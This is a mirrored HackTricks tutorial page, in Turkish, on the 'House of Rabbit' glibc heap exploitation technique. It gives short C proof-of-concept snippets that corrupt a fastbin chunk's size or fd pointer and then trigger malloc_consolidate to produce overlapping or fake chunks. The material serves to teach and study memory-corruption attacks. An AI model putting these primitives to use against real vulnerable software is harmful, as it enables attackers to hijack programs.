mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
96 lines
5 KiB
Markdown
96 lines
5 KiB
Markdown
# Tavşan Evi
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
### Gereksinimler
|
||
|
||
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
|
||
2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.
|
||
|
||
### Hedefler
|
||
|
||
1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
|
||
2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.
|
||
|
||
## Saldırı Adımları
|
||
|
||
### POC 1: Hızlı bin parça boyutunu değiştirme
|
||
|
||
**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.
|
||
|
||
* **Adım 1: Parçalar Tahsis Etme**
|
||
```cpp
|
||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||
```
|
||
* **Adım 2: Parçaları Serbest Bırakın**
|
||
```cpp
|
||
free(chunk1); // Frees the chunk at 0x602000
|
||
free(chunk2); // Frees the chunk at 0x602050
|
||
```
|
||
* **Adım 3: Parça Boyutunu Değiştirme**
|
||
```cpp
|
||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||
```
|
||
* **Adım 4: `malloc_consolidate`'yi Tetikleyin**
|
||
```cpp
|
||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||
```
|
||
Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur.
|
||
|
||
Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüye izin verir.
|
||
|
||
### POC 2: `fd` işaretçisini değiştirme
|
||
|
||
**Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
|
||
|
||
* **Adım 1: Parçaları Ayırma**
|
||
```cpp
|
||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||
```
|
||
**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
|
||
|
||
* **Adım 2: Sahte blok oluştur**
|
||
```cpp
|
||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||
chunk2[7] = 0x21; // Next fake chunk
|
||
chunk2[11] = 0x21; // Next-next fake chunk
|
||
```
|
||
* **Adım 3: `chunk1`'i serbest bırakın**
|
||
```cpp
|
||
free(chunk1); // Frees the chunk at 0x602000
|
||
```
|
||
**Açıklama**: `chunk1`'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.
|
||
|
||
* **Adım 4: `chunk1`'in `fd`'sini değiştirin**
|
||
```cpp
|
||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||
```
|
||
**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.
|
||
|
||
* **Adım 5: `malloc_consolidate`'i Tetikle**
|
||
```cpp
|
||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||
```
|
||
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir.
|
||
|
||
Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.
|
||
|
||
### Özet
|
||
|
||
**House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.
|